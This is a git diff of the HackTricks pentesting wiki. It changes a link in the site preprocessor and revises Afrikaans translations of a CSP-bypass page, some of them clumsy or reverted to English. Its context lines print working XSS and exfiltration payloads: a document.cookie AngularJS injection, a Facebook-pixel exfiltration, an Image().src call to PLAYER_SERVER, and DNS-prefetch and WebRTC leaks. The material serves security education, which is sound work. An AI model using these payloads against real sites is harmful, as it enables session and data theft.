diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index af5949449..5d070c39f 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -78,6 +78,9 @@ def ref(matchobj):
                 sys.exit(1)
 
 
+    if href.endswith("/README.md"):
+        href = href.replace("/README.md", "/index.html")
+
     template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
 
     # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
index ced8d9153..bd719c65a 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md
@@ -1,4 +1,4 @@
-# Wye Bronkode Soektog
+# Wye Bronnkode Soektog
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -14,6 +14,6 @@ Dit help in verskeie gevalle om **gelekte inligting** of **kwesbaarhede** patron
 - [**SearchCode**](https://searchcode.com/): Soek kode in miljoene projekte.
 
 > [!WARNING]
-> Wanneer jy soek na lekkasies in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet dat daar dalk **ander takke met ander verbintenisse** is wat geheime bevat nie!
+> Wanneer jy soek na lekkasies in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag **ander takke met ander verbintenisse** wees wat geheime bevat nie!
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 0abd25cb2..73638d334 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -8,7 +8,7 @@ Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemi
 
 Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
 
-- Implemented via response header:
+- Geïmplementeer via antwoordkop:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
@@ -53,7 +53,7 @@ object-src 'none';
 - **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
 - **form-action**: Lys geldige eindpunte vir vormindienings.
 - **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
-- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP-URL's na HTTPS te herskryf.
+- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
 - **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `<iframe>`.
 - **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.
 - **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
@@ -89,15 +89,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 </details>
 
 - `'sha256-<hash>'`: Witlys scripts met 'n spesifieke sha256-hash.
-- `'strict-dynamic'`: Laat die laai van scripts van enige bron toe as dit deur 'n nonce of hash gewitlys is.
+- `'strict-dynamic'`: Laat toe dat scripts van enige bron gelaai word as dit deur 'n nonce of hash gewitlys is.
 - `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
 - `https:`: Beperk URL's tot dié wat HTTPS gebruik.
-- `blob:`: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv. Blob-URL's wat via JavaScript geskep is).
-- `filesystem:`: Laat hulpbronne toe om van die lêerstelsel gelaai te word.
+- `blob:`: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv. Blob-URL's wat via JavaScript geskep is).
+- `filesystem:`: Laat toe dat hulpbronne van die lêerstelsel gelaai word.
 - `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
 - `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
 - `'strict-origin-when-cross-origin'`: Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
-- `'unsafe-allow-redirects'`: Laat hulpbronne toe om gelaai te word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
+- `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
 
 ## Onveilige CSP-reëls
 
@@ -167,12 +167,12 @@ From here, if you find a XSS and a file upload, and you manage to find a **misin
 
 ### Form-action
 
-As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te ontvlug deur **'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.
+If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
 
-### Third Party Endpoints + ('unsafe-eval')
+### Derdeparty-eindpunte + ('unsafe-eval')
 
 > [!WARNING]
-> Vir sommige van die volgende payloads **`unsafe-eval` is nie eens nodig nie**.
+> For some of the following payload **`unsafe-eval` is not even needed**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@@ -286,24 +286,24 @@ https://www.youtube.com/oembed?callback=alert;
 ```
 [**JSONBee**](https://github.com/zigoo0/JSONBee) **bevat gereed-om-te-gebruik JSONP eindpunte om CSP te omseil van verskillende webwerwe.**
 
-Die dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Open Redirect bevat** omdat as die aanvanklike eindpunt vertrou word, omleidings vertrou word.
+Die dieselfde kwesbaarheid sal voorkom as die **betroubare eindpunt 'n Open Redirect bevat** omdat as die aanvanklike eindpunt betroubaar is, omleidings betroubaar is.
 
 ### Derdeparty Misbruik
 
-Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekfiltreer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
+Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekstrapoleer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:
 
 | Entiteit          | Toegelate Domein                            | Vermoëns     |
 | ----------------- | ------------------------------------------- | ------------- |
-| Facebook          | www.facebook.com, \*.facebook.com           | Exfil         |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Exfil         |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Exec          |
-| Amazon CloudFront | \*.cloudfront.net                           | Exfil, Exec   |
-| Amazon AWS        | \*.amazonaws.com                            | Exfil, Exec   |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec   |
-| Salesforce Heroku | \*.herokuapp.com                            | Exfil, Exec   |
-| Google Firebase   | \*.firebaseapp.com                          | Exfil, Exec   |
+| Facebook          | www.facebook.com, \*.facebook.com           | Ekstrapoleer  |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                | Ekstrapoleer  |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net           | Voer uit      |
+| Amazon CloudFront | \*.cloudfront.net                           | Ekstrapoleer, Voer uit |
+| Amazon AWS        | \*.amazonaws.com                            | Ekstrapoleer, Voer uit |
+| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Ekstrapoleer, Voer uit |
+| Salesforce Heroku | \*.herokuapp.com                            | Ekstrapoleer, Voer uit |
+| Google Firebase   | \*.firebaseapp.com                          | Ekstrapoleer, Voer uit |
 
-As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekfiltreer óf kode uit te voer.
+As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekstrapoleer óf kode uit te voer.
 
 Byvoorbeeld, as jy die volgende CSP vind:
 ```
@@ -313,16 +313,16 @@ of
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
-U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen is met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In hierdie geval volg u hierdie algemene stappe:
+U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd met [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) gedoen is. In hierdie geval volg u hierdie algemene stappe:
 
 1. Skep 'n Facebook Developer-rekening hier.
 2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
-3. Gaan na "Instellings -> Basies" en kry jou "App ID".
+3. Gaan na "Instellings -> Basies" en kry u "App ID".
 4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur die Facebook SDK gadget "fbq" direk te gebruik deur 'n "customEvent" en die dataload.
-5. Gaan na jou App "Event Manager" en kies die toepassing wat jy geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
-6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
+5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
+6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.
 
-Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-volgpixel te initialiseer om na die aanvaller se Facebook-ontwikkelaarrekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
+Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-trackingpixel te initialiseer om na die aanvaller se Facebook-ontwikkelaarrekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
@@ -341,13 +341,13 @@ Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan di
 ```
 Die blaaiers sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
 
-Dit werk omdat jy vir die blaaiers 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
+Dit werk omdat jy vir die blaier 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
 
 ∑, hulle sal dit decodeer, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelyk is aan `https://example.com/scripts/angular/angular.js`.
 
-Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiers en die bediener te benut, kan die padreëls omseil word**.
+Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaier en die bediener te benut, kan die padreëls omseil word**.
 
-Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiers en die bediener verseker om hierdie probleem te vermy.
+Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaier en die bediener verseker om hierdie probleem te vermy.
 
 Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 
@@ -368,14 +368,14 @@ As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-URL in die ba
 ```
 ### AngularJS gebeurtenisse
 
-'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel pasgemaakte gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik, in Chrome, het die `$event/event` objek 'n `path` attribuut, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
+'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel persoonlike gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiers gebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik, in Chrome, het die `$event/event` objek 'n `path` attribuut, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
 
 Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, en die terminale element (die `window` objek) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, wat `$event.path|orderBy` gebruik om die `path` array te manipuleer, en die `window` objek benut om die `alert()` funksie uit te voer, wat `document.cookie` onthul.
+Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, met `$event.path|orderBy` om die `path`-array te manipuleer, en die `window`-objek te benut om die `alert()`-funksie uit te voer, wat `document.cookie` onthul.
 
 **Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
@@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan 'n **spesiale beeld** **ontwerp**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS kode (soos 'n gewone XSS) te **voer** wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **voeren**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Met Dienswerkers
 
@@ -462,7 +462,7 @@ Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:
 
 #### Chrome
 
-As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
+As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline' toelaat** met enige van hierdie omseilings:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@@ -478,7 +478,7 @@ Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=
 ### img-src \*; via XSS (iframe) - Tydaanval
 
 Let op die gebrek aan die riglyn `'unsafe-inline'`\
-Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
+Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy benodig om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
 
 Hierdie keer gaan 'n **vlag** onttrek word, wanneer 'n **karakter korrek geraai** word via SQLi neem die **antwoord** **meer tyd** weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
 ```html
@@ -542,7 +542,7 @@ run()
 ```
 ### Via Bookmarklets
 
-Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
+Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadaardige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
 
 Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
@@ -556,7 +556,7 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik om via **HTML inspuiting** 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
+In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
 CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline skrip via sha** te aktiveer:
 ```html
 <meta
@@ -568,7 +568,7 @@ content="script-src 'self'
 ```
 ### JS eksfiltrasie met Content-Security-Policy-Report-Only
 
-As jy daarin slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer, met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
+As jy daarin slaag om die bediener te laat reageer met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
 
 Vir 'n voorbeeld [**kyk na hierdie CTF-skrywe**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
@@ -581,7 +581,7 @@ document.querySelector("DIV").innerHTML =
 
 - 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
 - Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
-- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waartoe die aanvanklike URL omgelei het.
+- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waartoe die aanvanklike URL gelei het.
 
 Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
 
@@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
 ```
 Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.
 
-Albei metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
+Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
 
 Trick from [**here**](https://ctftime.org/writeup/29310).
 
@@ -599,16 +599,16 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
 
 ### PHP Foute wanneer te veel params
 
-Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
+Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST parameters en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
 
-### PHP responsbuffer oorlaai
+### PHP antwoordbuffer oorlaai
 
-PHP is bekend vir **buffering die respons tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **respons** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
-Dan bestaan die tegniek basies uit **die responsbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
+PHP is bekend vir **buffering die antwoord tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **antwoord** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
+Dan bestaan die tegniek basies uit **die antwoordbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
 
 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
-### Herskryf Foutbladsy
+### Herschryf Foutbladsy
 
 Van [**hierdie writeup**](https://blog.ssrf.kr/69) blyk dit moontlik te wees om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
 ```javascript
@@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress
 
-SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in 'n eindpunt van 'n bladsy** misbruik om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy te verfris na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om die **DOM** van die **werklike eindpunt te misbruik**. Vir meer inligting, kyk:
+SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in 'n eindpunt van 'n bladsy** misbruik om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om die **DOM** van die **werklike eindpunt te misbruik**. Vir meer inligting, kyk:
 
 {{#ref}}
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
@@ -632,7 +632,7 @@ Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.n
 
 ## CSP Exfiltration Bypasses
 
-As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekfiltreer.
+As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekfiltreer.
 
 ### Location
 
@@ -649,7 +649,7 @@ Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie
 ```
 ### DNS Prefetch
 
-Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP-adresse en dit vir later gebruik kas.\
+Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.\
 Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
 
 Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**:
@@ -669,18 +669,18 @@ linkEl.rel = "prefetch"
 linkEl.href = urlWithYourPreciousData
 document.head.appendChild(linkEl)
 ```
-Om te verhoed dat dit gebeur, kan die bediener die HTTP-kopstuk stuur:
+Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur:
 ```
 X-DNS-Prefetch-Control: off
 ```
 > [!NOTE]
-> Blykbaar werk hierdie tegniek nie in headless blaaiers (bots) nie
+> Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie
 
 ### WebRTC
 
 Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie.
 
-Werklik kan jy _leak_ inligting gebruik makend van 'n _DNS versoek_. Kyk na hierdie kode:
+Werklik kan jy _leak_ inligting gebruik maak van 'n _DNS versoek_. Kyk na hierdie kode:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })